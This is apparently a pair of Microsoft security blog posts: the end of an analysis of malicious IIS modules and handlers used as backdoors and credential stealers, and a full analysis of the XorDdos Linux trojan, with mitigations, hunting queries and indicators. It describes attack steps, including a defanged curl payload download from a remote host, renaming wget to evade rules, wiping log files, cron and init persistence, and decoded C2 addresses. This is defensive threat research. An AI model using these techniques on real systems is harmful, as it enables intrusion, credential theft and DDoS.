In the module version, the attacker-initiated POST request contains the code along with the arguments in parameters z1 and z2, like the script-based version.

In a different version, the module has the backdoor logic hardcoded inside the DLL and only waits for parameters z1 and z2. The parameter kfaero has the command exposed as sequential alphabets from ‘A-Q’.

Like the script version, the IIS module has similar capabilities, such as listing and creating directories, downloading and uploading files, running queries using SQL adaptors, and running commands. To run commands, the attacker-initiated POST request contains the command “M” along with the arguments.

Antsword is another popular web shell widely used in various targeted attacks. Custom IIS modules inspired from the web shell’s code have been observed in the wild, which include similar architecture and capabilities. Interesting new features of these malicious modules include fileless execution of C# code and remote access via TCP socket connection.

Based on the request, the module can take one of the two code paths. In case of /server-status, a socket connection is initiated from values in the custom header Lhposzrp.

Command	Description
FSoaij7_03Ip3QuzbIhvuilKIsoM9a48DTkvQKdwtKNA	Socket connection
8CDztbQb4fsQeU5AAuBs9OmRokoyFJ7F5Z	Close connection
31FKvk8VDcqZMA3iAq3944wjg	Send data
TU_LDzOsv	Receive data

For any other URL, the module follows a China Chopper-style architecture of commands, ranging from “A” through “R”. The additional “R” command allows the attackers to run C# code reflectively.

Open-source variants

GitHub projects on creating backdoors for IIS have been available for some time now. Though mostly shared to educate the red team community, threat actors have also taken interest and lifted code from these projects. Using a public project that has been actively leveraged by attackers as an example, the original code includes the following capabilities:

Command	Implementation
cmd	Run command via cmd.exe /c
powershell	Run powershell via RunspaceFactory.CreateRunspace()
shellcode	Inject supplied shellcode into userinit.exe

In this case, the in-the-wild variants change the cookie names, keeping the rest of the code intact:

On supplying a whoami command to the backdoor, the generated cookie has the following format:

Cookie: BDUSS=P6zUsk/1xJyW4PPufWsx5w==

The backdoor responds with an AES encrypted blob wrapped in base64. The decoded output has the following format:

IIS handlers

As mentioned earlier, IIS handlers have the same visibility as modules into the request pipeline. Handlers can be configured to respond to certain extensions or requests. To create a managed IIS handler, the code must implement the IHttpHandler interface. The IHttpHandler interface has one method and one property with the following signatures:

Handlers can be registered by directly editing the web.config file or using the appcmd utility. The handler config takes a few important fields like path, which specifies the URL or extensions the handler should respond to, and verb, which specifies the HTTP request type. In the example below, the handler only responds to image requests ending with a .gif extension:

The handler is visible in the IIS manager application once successfully installed:

Most of the handlers analyzed were relatively simple, only including the capability to run commands:

Interestingly, the response Content-Type is set to image/gif or image/jpeg, which presents a default image when browsing the image URL with the output hidden in <pre> tags. A possible reason for this could be to bypass network inspection since image files are generally considered non-malicious and are filtered and identified based on extensions.

Credential stealers

This subset of modules monitors sign-in patterns in outgoing requests and dumps extracted credentials in an encrypted format. The stolen credentials allow the attackers to remain persistent in the environment, even if the primary backdoor is detected.  

The modules monitor for specific requests to determine a sign-in activity, such as /auth.owa default URL for OWA application. On inspecting the request, the module dumps the credentials in a .dat file. The contents are encrypted using XOR with a hardcoded value and wrapped with base64 encoding. The below image depicts a decoded sample output:

In another variant, the module looks for common placeholder variables for passing credentials used in different ASP.Net applications. The dumped credentials are AES encrypted and wrapped with Base64 encoding, located in %programdata%\log.txt.

Improving defenses against server compromise

As we expect to observe more attacks using IIS backdoors, organizations must ensure to follow security practices to help defend their servers.

Apply the latest security updates

Identify and remediate vulnerabilities or misconfigurations impacting servers. Deploy the latest security updates, especially for server components like Exchange as soon as they become available. Use Microsoft Defender Vulnerability Management to audit these servers regularly for vulnerabilities, misconfigurations, and suspicious activity.

Keep antivirus and other protections enabled

It’s critical to protect servers with Windows antivirus software and other security solutions like firewall protection and MFA. Turn on cloud-delivered protection and automatic sample submission in Microsoft Defender Antivirus to use artificial intelligence and machine learning to quickly identify and stop new and unknown threats. Use attack surface reduction rules to automatically block behaviors like credential theft and suspicious use of PsExec and Windows Management Instrumentation (WMI). Turn on tamper protection features to prevent attackers from stopping security services.

If you are worried that these security controls will affect performance or disrupt operations, engage with IT professionals to help determine the true impact of these settings. Security teams and IT professionals should collaborate on applying mitigations and appropriate settings.

Review sensitive roles and groups

Review highly privileged groups like Administrators, Remote Desktop Users, and Enterprise Admins. Attackers add accounts to these groups to gain foothold on a server. Regularly review these groups for suspicious additions or removal. To identify Exchange-specific anomalies, review the list of users in sensitive roles such as mailbox import export and Organization Management using the Get-ManagementRoleAssignment cmdlet in Exchange PowerShell.

Restrict access

Practice the principle of least-privilege and maintain good credential hygiene. Avoid the use of domain-wide, admin-level service accounts. Enforce strong randomized, just-in-time local administrator passwords and enable MFA. Use tools like Microsoft Defender for Identity’s Local Administrator Password Solution (LAPS).

Place access control list restrictions on virtual directories in IIS. Also, remove the presence of on-premises Exchange servers when only used for recipient management in Exchange Hybrid environments.

Prioritize alerts

The distinctive patterns of server compromise aid in detecting malicious behaviors and inform security operations teams to quickly respond to the initial stages of compromise. Pay attention to and immediately investigate alerts indicating suspicious activities on servers. Catching attacks in the exploratory phase, the period in which attackers spend several days exploring the environment after gaining access, is key. Prioritize alerts related to processes such as net.exe, cmd.exe originating from w3wp.exe in general.

Inspect config file and bin folder

Regularly inspect web.config of your target application and ApplicationHost.config to identify any suspicious additions, such as a handler for image files—which is suspicious itself, if not outright malicious. Also, regularly scan installed paths like the application’s bin directory and default GAC location. Regularly inspecting the list of installed modules using the appcmd.exe or gacutil.exe utilities is also advisable.

Hardik Suri
Microsoft 365 Defender Research Team

Appendix

Microsoft Defender Antivirus detects these threats and related behaviors as the following malware:

• Backdoor:MSIL/SuspIISModule.G!gen
• Backdoor:MSIL/SuspIISModule.H!gen
• Backdoor:MSIL/SuspIISModule.K!gen
• Backdoor:MSIL/OWAStealer.B
• Backdoor:MSIL/OWAStealer.C
• Behavior:Win32/SuspGacInstall.B

Endpoint detection and response (EDR)

• Suspicious IIS AppCmd Usage

Hunting queries

To locate malicious activity related to suspicious IIS module registration, run the following queries:

Suspicious IIS module registration

DeviceProcessEvents
| where ProcessCommandLine has “appcmd.exe add module”
| where InitiatingProcessParentFileName == “w3wp.exe”

DeviceProcessEvents
| where InitiatingProcessFileName == “powershell.exe”
|where ProcessCommandLine has ” system.enterpriseservices.internal.publish”
| where InitiatingProcessParentFileName == “w3wp.exe”

DeviceProcessEvents
|where ProcessCommandLine has ” \\gacutil.exe /I”
| where InitiatingProcessParentFileName == “w3wp.exe”

Indicators of compromise (IOCs)

File name	SHA-256
HttpCompress.dll	4446f5fce13dd376ebcad8a78f057c0662880fdff7fe2b51706cb5a2253aa569
HttpSessionModule.dll	1d5681ff4e2bc0134981e1c62ce70506eb0b6619c27ae384552fe3bdc904205c
RewriterHttpModule.dll	c5c39dd5c3c3253fffdd8fee796be3a9361f4bfa1e0341f021fba3dafcab9739
Microsoft.Exchange.HttpProxy. HttpUtilities.dll	d820059577dde23e99d11056265e0abf626db9937fc56afde9b75223bf309eb0
HttpManageMoudle.dll	95721eedcf165cd74607f8a339d395b1234ff930408a46c37fa7822ddddceb80
IIS_backdoor.dll	e352ebd81a0d50da9b7148cf14897d66fd894e88eda53e897baa77b3cc21bd8a
FinanceSvcModel.dll	5da41d312f1b4068afabb87e40ad6de211fa59513deb4b94148c0abde5ee3bd5
App_Web_system_web.ashx.dll	290f8c0ce754078e27be3ed2ee6eff95c4e10b71690e25bbcf452481a4e09b9d
App_Web_error.ashx.dll	2996064437621bfecd159a3f71166e8c6468225e1c0189238068118deeabaa3d

The post Malicious IIS extensions quietly open persistent backdoors into servers appeared first on Microsoft Security Blog.

In the last six months, we observed a 254% increase in activity from a Linux trojan called XorDdos. First discovered in 2014 by the research group MalwareMustDie, XorDdos was named after its denial-of-service-related activities on Linux endpoints and servers as well as its usage of XOR-based encryption for its communications.

XorDdos depicts the trend of malware increasingly targeting Linux-based operating systems, which are commonly deployed on cloud infrastructures and Internet of Things (IoT) devices. By compromising IoT and other internet-connected devices, XorDdos amasses botnets that can be used to carry out distributed denial-of-service (DDoS) attacks. Using a botnet to perform DDoS attacks can potentially create significant disruptions, such as the 2.4 Tbps DDoS attack Microsoft mitigated in August 2021. DDoS attacks in and of themselves can be highly problematic for numerous reasons, but such attacks can also be used as cover to hide further malicious activities, like deploying malware and infiltrating target systems.

Botnets can also be used to compromise other devices, and XorDdos is known for using Secure Shell (SSH) brute force attacks to gain remote control on target devices. SSH is one of the most common protocols in IT infrastructures and enables encrypted communications over insecure networks for remote system administration purposes, making it an attractive vector for attackers. Once XorDdos identifies valid SSH credentials, it uses root privileges to run a script that downloads and installs XorDdos on the target device.

XorDdos uses evasion and persistence mechanisms that allow its operations to remain robust and stealthy. Its evasion capabilities include obfuscating the malware’s activities, evading rule-based detection mechanisms and hash-based malicious file lookup, as well as using anti-forensic techniques to break process tree-based analysis. We observed in recent campaigns that XorDdos hides malicious activities from analysis by overwriting sensitive files with a null byte. It also includes various persistence mechanisms to support different Linux distributions. 

XorDdos may further illustrate another trend observed in various platforms, in which malware is used to deliver other dangerous threats. We found that devices first infected with XorDdos were later infected with additional malware such as the Tsunami backdoor, which further deploys the XMRig coin miner. While we did not observe XorDdos directly installing and distributing secondary payloads like Tsunami, it’s possible that the trojan is leveraged as a vector for follow-on activities.

Microsoft Defender for Endpoint protects against XorDdos by detecting and remediating the trojan’s multi-stage, modular attacks throughout its entire attack chain and any potential follow-on activities on endpoints. In this blog post, we detail our in-depth analysis of XorDdos to help defenders understand its techniques and protect their networks from this stealthy malware.

This blog post covers the following topics:

• Initial access
• XorDdos payload analysis
  • Detection evasion capabilities
  • Persistence mechanisms
  • Argument-based code-flow
  • Malicious activity threads
  • DDoS attack thread pool
• Defending against Linux platform threats
• Detection details
• Hunting queries
• Indicators

Initial access

XorDdos propagates primarily via SSH brute force. It uses a malicious shell script to try various root credential combinations across thousands of servers until finding a match on a target Linux device. As a result, we see many failed sign-in attempts on devices successfully infected by the malware:

Our analysis determined two of XorDdos’ methods for initial access. The first method involves copying a malicious ELF file to temporary file storage /dev/shm and then running it. Files written at /dev/shm are deleted during system restart, thus concealing the source of infection during forensic analysis.

The second method involves running a bash script that performs the following activities via the command line:

1. Iterates the following folders to find a writable directory:
   • /bin
   • /home
   • /root
   • /tmp
   • /usr
   • /etc
2. If a writable directory is found, changes the working directory to the discovered writable directory.
3. Uses the curl command to download the ELF file payload from the remote location hxxp://Ipv4PII_777789ffaa5b68638cdaea8ecfa10b24b326ed7d/1[.]txt and saves the file as  ygljglkjgfg0.
4. Changes the file mode to “executable”.
5. Runs the ELF file payload.
6. Moves and renames the Wget binary to evade rule-based detections triggered by malicious usage of the Wget binary. In this case, it renames the Wget binary to good and moves the file to the following locations:
   • mv /usr/bin/wget /usr/bin/good
   • mv /bin/wget /bin/good
7. Attempts to download the ELF file payload for a second time, now only using the file good and not the Wget binary.
8. After running the ELF file, uses an anti-forensic technique that hides its past activity by overwriting the content of the following sensitive files with a newline character:

Sensitive File	Description
/root/.bash_history	Contains the commands that were run earlier
/var/log/wtmp	Contains login related record for users
/var/log/btmp	Contains record of failed login attempt
/var/log/lastlog	Contains the recent login information for users
/var/log/secure	Contains information related to security such as logs for authentication failure, sudo logins, and authorization privileges
/var/log/boot.log	Contains information related to system boot and message logged via system startup processes
/var/log/cron	Contains information related to cron job launch, success and failure error logs
/var/log/dmesg	Contains information related to kernel ring buffer messages, hardware devices, drivers, etc.
/var/log/firewalld	Contains logs related to firewall activities
/var/log/maillog	Contains information related to a mail server running on the system
/var/log/messages	Contains generic system activity messages
/var/log/spooler	Contains messages from usenet
/var/log/syslog	Contains generic system activity messages
/var/log/yum.log	Contains the package logs related to installation\remove\update activities done via yum utility

Whichever initial access method is used, the result is the same: the running of a malicious ELF file, which is the XorDdos malware. In the next section, we do a deep dive into the XorDdos payload.

XorDdos payload analysis

The XorDdos payload we analyzed for this research is a 32-bit ELF file that was not stripped, meaning it contained debug symbols that detailed the malware’s dedicated code for each of its activities. The inclusion of debug symbols makes it easier to debug and reverse engineer non-stripped binaries, as compared to stripped binaries that discard these symbols. In this case, the non-stripped binary includes the following source-code file names associated with the symbol table entries as part of the .strtab section in the ELF file:

• crtstuff.c
• autorun.c
• crc32.c
• encrypt.c
• execpacket.c
• buildnet.c
• hide.c
• http.c
• kill.c
• main.c
• proc.c
• socket.c
• tcp.c
• thread.c
• findip.c
• dns.c

The above list of source-code file names indicate that the binary is programmed in C/C++ and that its code is modular.

Detection evasion capabilities

XorDdos contains modules with specific functionalities to evade detection, as detailed below.

Daemon processes

A daemon process is a process that runs in the background rather than under the control of users and detaches itself from the controlling terminal, terminating only when the system is shut down. Similar to some Linux malware families, the XorDdos trojan uses daemon processes, as detailed below, to break process tree-based analysis:

1. The malware calls the subroutine daemon(__nochdir, __noclose) to set itself as a background daemon process, which internally calls fork() and setsid(). The fork() API creates a new child process with the same process group-id as the calling process.
2. After the successful call to the fork() API, the parent stops itself by returning “EXIT_SUCCESS (0)”. The purpose is to ensure that the child process is not a group process leader, which is a prerequisite for the setsid() API call to be successful. It then calls setsid() to detach itself from the controlling terminal.
3. The daemon subroutine also has a provision to change the directory to the root directory (“/“) if the first parameter __nochdir is called with a value equal to “0”. One reason for the daemon process to change the directory to the root partition (“/“)is because running the process from the mounted file system prevents unmounting unless the process is stopped.  
4. It passes the second parameter __noclose as “0” to redirect standard input, standard output, and standard error to /dev/null. It does this by calling dup2 on the file descriptor for /dev/null.
5. The malware calls multiple signal APIs to ignore a possible signal from the controlling terminal and detach the current process from the standard stream and HangUp signals (SIGHUP) when the terminal session is disconnected. Performing this evasive signal suppression helps stop the effects of standard libraries trying to write to standard output or standard error, or trying to read from standard input, which could stop the malware’s child process. The API signal() sets the disposition of the signal signum to the handler, which is either SIG_IGN, SIG_DFL, or the address of a programmer-defined signal handler. In this case, the second parameter is set to “SIG_IGN=1”, which ignores the signal corresponding to signum.

XOR-based encryption

As its name suggests, XorDdos uses XOR-based encryption to obfuscate data. It calls the dec_conf function to decode encoded strings using the XOR key “BB2FA36AAA9541F0”. The table below shows the decoded values of the obfuscated data used across the malware’s various modules to conduct its activities.

Encrypted strings	Decoded value
m7A4nQ_/nA	/usr/bin/
m [(n3	/bin/
m6_6n3	/tmp/
m4S4nAC/n&ZV\x1aA/TB	/var/run/gcc.pid
m.[$n__#4%\C\x1aB]0	/lib/libudev.so
m.[$n3	/lib/
m4S4nAC/nA	/var/run/
!#Ff3VE.-7\x17V[_	cat resolv.conf
<Encrypted_Remote_URL>	hxxp://aa.hostasa[.]org/config.rar

Process name spoofing

When a process is launched, arguments are provided to its main function as null-terminated strings, where the first argument is always the process image path. To spoof its process name, XorDdos zeroes out all argument buffers while running and overrides its first argument buffer containing the image path with a fake command line, such as cat resolv.conf.

Kernel rootkit

Some XorDdos samples install a kernel rootkit. A rootkit is a kernel module that hides the presence of malicious code by modifying operating systems data structures. The XorDdos kernel rootkit generally has following capabilities:

• Provide root access
• Hide the kernel module
• Hide the malware’s processes
• Hide the malware’s network connections and ports

Based on the debug symbols found in the rootkit, it’s likely that XorDdos’ rootkit code was inspired by an open-source project called rooty. The following table describes the symbols found in the rootkit and their corresponding functionalities:

Function name	Description
give_root	Provides a root privilege by setting a new set of credentials and assigning its UID, GID to “0”
module_hide	Hides the rootkit kernel module
module_show	Unhides the rootkit kernel module
get_udp_seq_show	Hides the UDP4 connection by hooking /proc/net/udpHides the UDP6 connection by hooking /proc/net/udp6
get_tcp_seq_show	Hides the TCP4 connection by hooking /proc/net/tcpHides the TCP6 connection by hooking /proc/net/tcp6
hide_udp4_port	Adds a provided port to a list of hidden UDP4 ports
unhide_udp4_port	Deletes a provided port from a list of hidden UDP4 ports
hide_udp6_port	Adds a provided port to a list of hidden UDP6 ports
unhide_udp6_port	Deletes a provided port from a list of hidden UDP6 ports
hide_tcp4_port	Adds a provided port to a list of hidden TCP4 ports
unhide_tcp4_port	Deletes a provided port from a list of hidden TCP4 ports
hide_tcp6_port	Adds a provided port to a list of hidden TCP6 ports
unhide_tcp6_port	Deletes a provided port from a list of hidden TCP6 ports
unhide_allz	Iterates list of all hidden ports and deletes all entries

Process and port hiding

The malware tries to hide its processes and ports using its kernel rootkit component. Hiding a process assists the malware in evading rule-based detections.

The /proc filesystem contains information related to all running processes. A user-mode process can get any process specific information by reading the /proc directory that contains the subdirectory for each running process on the system, such as:

• /proc/7728 – Contains process-id (PID) 7728-related information
• /proc/698 – Contains PID 698-related information

Running the strace -e open ps command checks the traces of the open call on /proc/$pid to fetch information on running processes as part of the ps command.

> strace -e open ps
open(“/proc/3922/status”, O_RDONLY)     = 6
open(“/proc/4324/stat”, O_RDONLY)       = 6
open(“/proc/4324/status”, O_RDONLY)     = 6
open(“/proc/5559/stat”, O_RDONLY)       = 6
open(“/proc/5559/status”, O_RDONLY)     = 6
open(“/proc/5960/stat”, O_RDONLY)       = 6
open(“/proc/5960/status”, O_RDONLY)     = 6
open(“/proc/5978/stat”, O_RDONLY)       = 6
open(“/proc/5978/status”, O_RDONLY)     = 6

If the malware hides the $pid specific directory, it can conceal fetching the corresponding process from a user mode.

In this case, the malware has a provision for communicating with its rootkit component /proc/rs_dev by sending input and output control (IOCTL) calls with additional information to take appropriate action. IOCTL is one way to communicate between the user-mode service and kernel device driver. The malware uses the number “0x9748712” to uniquely identify its IOCTL calls from other IOCTL calls in the system.

Along with this number, it also passes an integer array. The first entry in the array corresponds to the command, and the second entry stores the value to act on, such as $pid.

Command	Usage
0	Check if its rootkit driver is present
1, 2	Hide or unhide <PID>
3	Hide <port>

Persistence mechanisms

XorDdos uses various persistence mechanisms to support different Linux distributions when automatically launching upon system startup, as detailed below.

Init script

The malware drops an init script at the location /etc/init.d. Init scripts are startup scripts used to run any program when the system starts up. They follow the Linux Standard Base (LSB)-style header section to include default runlevels, descriptions, and dependencies.

Cron script

The malware creates a cron script at the location /etc/cron.hourly/gcc.sh.The cron script passes parameters with the following content:

It then creates a /etc/crontab file to run /etc/cron.hourly/gcc.sh every three minutes:

System V runlevel

A runlevel is a mode of init and the system that specifies what system services are operating for Unix System V-Style operating systems. Runlevels contain a value, typically numbered zero through six, which each designate a different system configuration and allows access to a different combination of processes. Some system administrators set a system’s default runlevel according to their needs or use runlevels to identify which subsystems are working, such as whether the network is operational. The /etc/rc<run_level> directory contains symbolic links (symlinks), which are soft links that point to the original file. These symlinks point to the scripts that should run at the specified runlevel.

The malware creates a symlink for the init script dropped at the location /etc/init.d/<base_file_name> with the directories associated with runlevels 1 through 5 at /etc/rc<run_level>.d/S90<base_file_name> and /etc/rc.d/rc<run_level>.d/S90<base_file_name>.

Auto-start services

The malware runs a command to install startup services that automatically run XorDdos at boot. The malware’s LinuxExec_Argv2 subroutine runs the system API with the provided arguments.

The commands chkconfig –add <service_name> and update-rc.d then add a service that starts the daemon process at boot.

Argument-based code-flow

XorDdos has specific code paths corresponding to the number of arguments provided to the program. This flexibility makes its operation more robust and stealthy. The malware first runs without any argument and then later runs another instance with different arguments, such as PIDs and fake commands, to perform capabilities like clean-up, spoofing, and persistence.

Before handling the argument-based control, it calls the readlink API with the first parameter as /proc/self/exe to fetch its full process path. The full path is used later to create auto-start service entries and read the file’s content.

In this section, we will cover the main tasks carried out as part of the different arguments provided:

1: Standard code path without any provided arguments

This code path depicts the malware’s standard workflow, which is also the typical workflow where XorDdos runs as part of the entries created in system start-up locations.

The malware first checks whether it’s running from the locations /usr/bin/, /bin/, or /tmp/. If it’s not running from these locations, then it creates and copies itself using a 10-character string name on those locations, as well as /lib/ and /var/run/.

It also creates a copy of itself at the location /lib/libudev.so. To evade hash-based malicious file lookup, it performs the following steps, which modify the file hash to make every file unique:

• Opens the file for writing only
• Calls lseek (fd, 0, SEEK_END) to point at the last position in the file
• Creates a random 10-character string
• Writes the string at the end of the file with an additional null byte

After modifying the file, it runs the binary, performs a double fork(), and deletes its file from the disk.

2: Clean-up code path

In this code path, the malware runs with another argument provided as the PID, for example:

• /usr/bin/jwvwvxoupv 4849

Using the above example, the malware shares the 64-byte size memory segment with the IPC key “0xDA718716” to check for another malware process provided as an argument. If not found, it runs its own binary without any argument and calls the fork() API twice to make sure the grandchild process has no parent. This results in the grandchild process being adopted by the init process, which disconnects it from the process tree and acts as an anti-forensic technique.

Additionally, it performs the following tasks on a provided $pid:

• Fetches the process file name corresponding to the provided $pid
• Deletes the file for the provided $pid
• Deletes the installed init services:
  • Deletes /etc/init.d/<file_name>
  • For runlevels 1-5, unlinks and deletes /etc/rc<runlevel>.d/S90<file_name>
  • Performs the command chkconfig –del <file_name>
  • Performs the command update-rc.d <file_name> remove
• Ends the process that was provided as an argument.

3: Process name spoofing code path

The malware spawns new dropped binaries with two additional arguments: a fake command line and its PIDs, for example:

• /usr/bin/jwvwvxoupv “cat resolv.conf” 4849
• /usr/bin/jwvwvxoupv gnome-terminal 4849
• /usr/bin/jwvwvxoupv top 4849
• /usr/bin/jwvwvxoupv pwd 4849
• /usr/bin/kagbjahdic id 4849

The fake commands can include:

• cat resolv.conf
• netstat -an
• bash
• whoami
• id
• cd /etc
• ifconfig eth0
• ifconfig
• echo “find”
• uptime
• sh
• top
• gnome-terminal
• su
• netstat -antop
• grep “A”
• who
• ls -la
• pwd
• route -n
• ps -ef
• ls
• sleep 1

In this code path, the malware uses process name spoofing to hide from the process tree by modifying its fake command line at runtime. It then hides its process by calling HidePidPort with command “1” and reads the content of the file on disk related to the current process.

It then enters a five-second loop to perform the following checks:

• Fetches the file name specific to the $pid provided as part of the third argument by calling the readlink API on /proc/$pid/exe.
• If the readlink call fails, that likely indicates that the file on disk doesn’t exist. In this case, it:
  • Intends to delete all service-related entries for the $pid but fails. This appears to be due to a code flaw that allows a zeroed-out buffer to be passed as a service name when the buffer is supposed to be filled from a successful readlink API call.
  • Creates directories similar to the standard code path scenario.
  • Calls the stat API for the file /lib/libudev.so. If the stat API returns a non-zero value, then it attempts to copy the content of the current process’s image-file fetched earlier to the following locations with a random name:
    • /usr/bin/
    • /bin/
    • /tmp/   
  • Copies the /lib/libudev.so file to the same three directories listed above if the stat API call is successful on /lib/libudev.so.
  • Changes the hash of the written or copied file and then runs it without passing any parameters.
• If the readlink call is successful and returns the count of bytes copied, sleeps for one second and then loops for the remaining time out of five seconds.
• Unhides the current process and the $pid that was provided as part of the third argument.
• Deletes the on-disk file for the current process.

4: Known locations code path without any provided arguments

This code path is similar to the standard code path, with the main difference being that the malware runs from one of the following locations:

• /usr/bin/
• /bin/
• /tmp/

Once it runs from one of these locations, the malware calls the following functions to perform various tasks:

1. InstallSYS – The name suggests that this function is a wrapper that should deploy a rootkit driver, but it only zeroes-out two local arrays.

2. AddService – Creates the persistent auto-start entries previously mentioned so that the malware runs when the system starts.
3. HidePidPort – Hides the malware’s ports and processes.
4. CheckLKM – Checks whether the rootkit device is active or not. It uses a similar IOCTL call with the number “0x9748712” and command “0” to find if the rootkit is active. If the rootkit is active, it uses the owner value “0xAD1473B8” and group value “0xAD1473B8” to change the ownership of dropped files with the function lchown(<filename>, 0xAD1473B8, 0xAD1473B8).
5. decrypt_remotestr – Decodes remote URLs using the same XOR key, “BB2FA36AAA9541F0”, to decode config.rar and the other directories. After decoding the URLs, it adds them into a remote list, which is later used to communicate and fetch commands from the command and control (C2) server:
   • www[.]enoan2107[.]com:3306
   • www[.]gzcfr5axf6[.]com:3306

Malicious activity threads

After creating persistent entries, deleting evidence of its activities, and decoding config.rar, the malware initializes a cyclic redundancy check (CRC) table followed by an unnamed semaphore using the sem_init API. This semaphore is initialized with apshared value set to “0”, making the resultant semaphore shared between all the threads. The semaphore is used to maintain concurrency between threads accessing a shared object, such as kill_cfg data.

The malware then initializes three threads to perform malicious activities, such as stopping a process, creating a TCP connection, and retrieving kill_cfg data.

 kill_process

The kill_process thread performs the following tasks:

• Decodes encrypted strings
• Fetches file stats for /var/run/gcc.pid or, if none exist, then creates the file
• Fetches file stats for /lib/libudev.so or, if none exist, then creates the directory /lib and creates a copy of itself at the location /lib/libudev.so
• Fetches the on disk file information associated with the current process; if it fails, then exits the loop and stops the current process
• Reads the content from kill_cfg and performs the corresponding actions, like stopping the process or deleting files, based on the matching specified keys in the configuration file, such as:
  • md5=
  • filename=
  • rmfile=
  • denyip=

tcp_thread

The tcp_thread triggers the connection with the C2 server decoded earlier using decrypt_remotestr(). It performs the following tasks:

• Reads the content of the file /var/run/gcc.pid to get a unique 32-byte magic string that identifies the device while connecting with the C2 server; if the file doesn’t exist, then it creates the file and updates it with a random 32-byte string.
• Calculates the CRC header, including details of the device such as the magic string, OS release version, malware version, rootkit presence, memory stats, CPU information, and LAN speed.
• Encrypts the data and sends it to the C2 server.
• Waits to receive any of the following commands from the C2 server and then acts on the command using the exec_packet subroutine.

Command	Job
2	Stop
3	Create a thread pool for launching DDoS attacks
6	Download file
7	Update file
8	Send system information to the C2 server
9	Get configuration file to stop processes

daemon_get_killed_process

The daemon_get_killed_processthread downloads the kill_cfg data from the remote URL decoded earlier (hxxp://aa[.]hostasa[.]org/config[.]rar) and decrypts it using the same XOR key previously mentioned. It then sleeps for 30 minutes.

DDoS attack thread pool

The malware calls sysconf(_SC_NPROCESSORS_CONF) to fetch the number of processors in the device. It then creates threads with twice the number of processors found on the device.

Invoking each thread internally calls the thread routine threadwork. Using the global variable “g_stop” and commands received from the C2 server, threadwork then sends crafted packets 65,535 times to perform a DDoS attack.

Command	Function	Job
0x4	fix_syn	SYN flood attack
0x5	fix_dns	DNS attack
0xA	fix_ack	ACK flood attack

Defending against Linux platform threats

XorDdos’ modular nature provides attackers with a versatile trojan capable of infecting a variety of Linux system architectures. Its SSH brute force attacks are a relatively simple yet effective technique for gaining root access over a number of potential targets.

Adept at stealing sensitive data, installing a rootkit device, using various evasion and persistence mechanisms, and performing DDoS attacks, XorDdos enables adversaries to create potentially significant disruptions on target systems. Moreover, XorDdos may be used to bring in other dangerous threats or to provide a vector for follow-on activities.

XorDdos and other threats targeting Linux devices emphasize how crucial it is to have security solutions with comprehensive capabilities and complete visibility spanning numerous distributions of Linux operating systems. Microsoft Defender for Endpoint offers such visibility and protection to catch these emerging threats with its next-generation antimalware and endpoint detection and response (EDR) capabilities. Leveraging threat intelligence from integrated threat data, including client and cloud heuristics, machine learning models, memory scanning, and behavioral monitoring, Microsoft Defender for Endpoint can detect and remediate XorDdos and its multi-stage, modular attacks. This includes detecting and protecting against its use of a malicious shell script for initial access, its drop-and-execution of binaries from a world-writable location, and any potential follow-on activities on endpoints.

Defenders can apply the following mitigations to reduce the impact of this threat:

• Encourage the use of Microsoft Edge—available on Linux and various platforms—or other web browsers that support Microsoft Defender SmartScreen, which identifies and blocks malicious websites, including phishing sites, scam sites, and sites that contain exploits and host malware.
• Use device discovery to find unmanaged Linux devices on your network and onboard them to Microsoft Defender for Endpoint. 
• Turn on cloud-delivered protection in Microsoft Defender Antivirus or the equivalent for your antivirus product to use cloud-based machine learning protections that can block a huge majority of new and unknown variants. 
• Run EDR in block mode so that Microsoft Defender for Endpoint can block malicious artifacts, even when your non-Microsoft antivirus doesn’t detect the threat or when Microsoft Defender Antivirus is running in passive mode.
• Enable network protection to prevent applications or users from accessing malicious domains and other malicious content on the internet. 
• Enable investigation and remediation in full automated mode to allow Microsoft Defender for Endpoint to take immediate action on alerts to resolve breaches, significantly reducing alert volume. 

As threats across all platforms continue to grow in number and sophistication, security solutions must be capable of providing advanced protection on a wide range of devices, regardless of the operating system in use. Organizations will continue to face threats from a variety of entry points across devices, so Microsoft continues to heavily invest in protecting all the major platforms and providing extensive capabilities that organizations needed to protect their networks and systems.

Detection details

Microsoft Defender for Endpoint detects and blocks XorDdos components and behavior as the following malware:

• DoS:Linux/Xorddos.A
• DoS:Linux/Xorddos!rfn
• Trojan:Linux/Xorddos
• Trojan:Linux/Xorddos.AA
• Trojan:Linux/Xorddos!rfn
• Behavior:Linux/Xorddos.A

When XorDdos is detected on a device, Microsoft 365 Defender raises an alert, which shows the complete attack chain, including the process tree, file information, user information, and prevention details.

The timeline view displays all of the detection and prevention events associated with XorDdos, providing details such as the MITRE ATT&CK techniques and tactics, remediation status, and event entities graph.

Events with the following titles indicate threat activity related to XorDdos:

• The content of libudev.so was collected into libudev.so.6
• bash process performed System Information Discovery by invoking ifconfig
• gcc.sh was executed after being dropped by HFLgGwYfSC.elf
• A shell command was executed by crond
• SUID/SGID process unix_chkpwd executed

Hunting queries

To locate malicious activity related to XorDdos activity, run the following advanced hunting queries in Microsoft 365 Defender or Microsoft Defender Security Center:

Failed sign-ins

DeviceLogonEvents
| where InitiatingProcessFileName == "sshd"
    and ActionType == "LogonFailed"
| summarize count() by dayOfYear = datetime_part("dayOfYear", Timestamp)
| sort by dayOfYear 
| render linechart

Creation of the XorDdos-specific dropped files

DeviceFileEvents
| extend FullPath=strcat(FolderPath, FileName)
| where FullPath in ("/etc/cron.hourly/gcc.sh", "/lib/libudev.so.6", "/lib/libudev.so", "/var/run/gcc.pid")

Command-line of malicious process

DeviceProcessEvents
| where ProcessCommandLine contains "cat resolv.conf"

Indicators

File information

File name:	HFLgGwYfSC.elf
File size:	611.22 KB (625889 bytes)
Classification:	DoS:Linux/Xorddos.A
MD5:	2DC6225A9D104A950FB33A74DA262B93
Sha1:	F05194FB2B3978611B99CFBF5E5F1DD44CD5E04B
Sha256:	F2DF54EB827F3C733D481EBB167A5BC77C5AE39A6BDA7F340BB23B24DC9A4432
File type:	ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped
First submission in VT:	2022-01-25 05:32:10 UTC

Dropped files

Dropped file path	File type	SHA-256
/etc/init.d/HFLgGwYfSC.elf	Shell Script	6E506F32C6FB7B5D342D1382989AB191C6F21C2D311251D8F623814F468952CF
/etc/cron.hourly/gcc.sh	Shell Script	CBB72E542E8F19240130FC9381C2351730D437D42926C6E68E056907C8456459
/lib/libudev.so	ELF	F2DF54EB827F3C733D481EBB167A5BC77C5AE39A6BDA7F340BB23B24DC9A4432
